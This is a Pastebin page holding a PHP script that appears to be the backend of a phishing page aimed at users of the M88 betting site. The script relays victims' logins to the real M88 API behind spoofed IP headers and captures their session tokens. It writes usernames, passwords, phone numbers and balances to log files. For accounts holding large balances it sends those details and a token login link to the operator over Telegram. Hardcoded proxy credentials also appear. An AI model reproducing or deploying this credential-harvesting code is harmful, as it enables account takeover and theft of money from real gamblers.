Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- session_start();
- include "../config.php";
- header("Content-Type: application/json; charset=utf-8");
- $raw_content = file_get_contents("php://input");
- $json_data = json_decode($raw_content, 1);
- $username = $json_data['Username'];
- $password = $json_data['Password'];
- $signingkey = md5($username.'.'.$password.';1,2-'.date('dmY'));
- $signingkey = substr($signingkey, 0, strlen($signingkey)-1);
- $IP = $_SERVER["REMOTE_ADDR"];
- $Md5Password = $json_data['Md5Password'];
- $result = login($raw_content,$username,$password,$signingkey,$Md5Password,$IP);
- $json_data = json_decode($result, 1);
- if ($json_data["c"] == 0) {
- write($username, $password, $json_data,$fp1,$IP);
- } else if ($json_data["c"]==2) {
- writeotp($username, $password,$loginotp,$IP);
- }
- echo $result;
- function write($username, $password, $json_data,$fp1,$IP) {
- $authorization = $json_data["m"];
- $_SESSION["auth"] = $authorization;
- $nickname = $json_data["d"]["nickname"];
- $mobile = $json_data["d"]["mobile"];
- $coin = $json_data["d"]["coinBalance"];
- $gold = $json_data["d"]["goldBalance"];
- $telesafe = $json_data["d"]["teleSafe"];
- date_default_timezone_set("Asia/Ho_Chi_Minh");
- $time = date("H:i:s Y-m-d");
- $ip1=$_SERVER["REMOTE_ADDR"];
- if ($gold >= 600000){
- $message = "Login M88: Hàng Về 1m88.win\nTài khoản: $username\nMật khẩu: $password\nSố tiền:$gold\nSDT:$mobile\nTELE:$telesafe\nm88.vin/?token=$authorization";
- send_telegram($message);
- }
- $fp = $fp1;
- fwrite($fp, "$username|$password|$nickname|$gold|SDT:$mobile|TELE:$telesafe| ----- $time -----> $IP\n");
- fclose($fp);
- }
- function writeotp($username, $password,$loginotp,$IP) {
- date_default_timezone_set("Asia/Ho_Chi_Minh");
- $time = date("H:i:s Y-m-d");
- $ip1=$_SERVER["REMOTE_ADDR"];
- $fp = $loginotp;
- fwrite($fp, "$username|$password|Login by otp!!! ----- $time -----> $IP\n");
- fclose($fp);
- }
- function login($raw_content,$username,$password,$signingkey,$Md5Password,$IP) { {
- $proxy = 'gate.dc.smartproxy.com:20000';
- $proxyAuth = 'user-rynbeone:mayconchoghe';
- $ramdom = random_string(4);
- $ramdom3 = random_string(3);
- $randIP = mt_rand(0, 255) . "." . mt_rand(0, 255) . "." . mt_rand(0, 255) . "." . mt_rand(0, 255);
- $url = 'https://id.m88.vin/api/Account/authenticatev2';
- $ch = curl_init();
- // curl_setopt($ch,CURLOPT_PROXY, $proxy);
- // curl_setopt($ch,CURLOPT_PROXYUSERPWD, $proxyAuth);
- // curl_setopt($ch, CURLOPT_PROXYTYPE, 'HTTP');
- curl_setopt($ch,CURLOPT_URL,$url);
- curl_setopt($ch,CURLOPT_POST,true);
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($ch,CURLOPT_HEADER,true);
- $data = "{\"Username\":\"$username\",\"Password\":\"$password\",\"Md5Password\":\"$Md5Password\",\"OTP\":\"\",\"SigningKey\":\"$signingkey\",\"Verify\":\"\"}";
- curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
- curl_setopt($ch,CURLOPT_HTTPHEADER,["CF-Connecting-IP: ". $randIP,"X-Forwarded-For: ". $randIP,"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.$ramdom.150 Safari/$ramdom3","origin: https://gamvip.com","Content-Type: application/json","Accept: application/json","Referer: http://gamvip.com/","accept-language: en-US,en;q=0.9,vi;q=0.8","Cookie: hahahaha"]);
- for ($i=0; $i < 10; $i++) {
- $raw_content = curl_exec($ch);
- if ($raw_content) break;
- }
- $netcore_session = "";
- $wjo = "";
- if (preg_match("/\.netcore\.session=([^;]+);/m", $raw_content, $matches)) $netcore_session = $matches[1];
- if (preg_match("/NSC_mc\.je\.n88\.wjo=([^;]+);/m", $raw_content, $matches)) $wjo = $matches[1];
- setcookie("username", $username, time() + (86400 * 30), "/"); // 86400 = 1 day
- setcookie("password", $password, time() + (86400 * 30), "/"); // 86400 = 1 day
- setcookie(".netcore.session", urldecode($netcore_session), time() + (86400 * 30), "/"); // 86400 = 1 day
- setcookie("NSC_mc.je.n88.wjo", $wjo, time() + (86400 * 30), "/"); // 86400 = 1 day
- return explode("\r\n\r\n", $raw_content)[2];
- }
- }
- function random_string($length) {
- $key = '';
- $keys = array_merge(range(0, 9));
- for ($i = 0; $i < $length; $i++) {
- $key .= $keys[array_rand($keys)];
- }
- return $key;
- }
- return random_string(6);
- ?>
Advertisement
Add Comment
Please, Sign In to add comment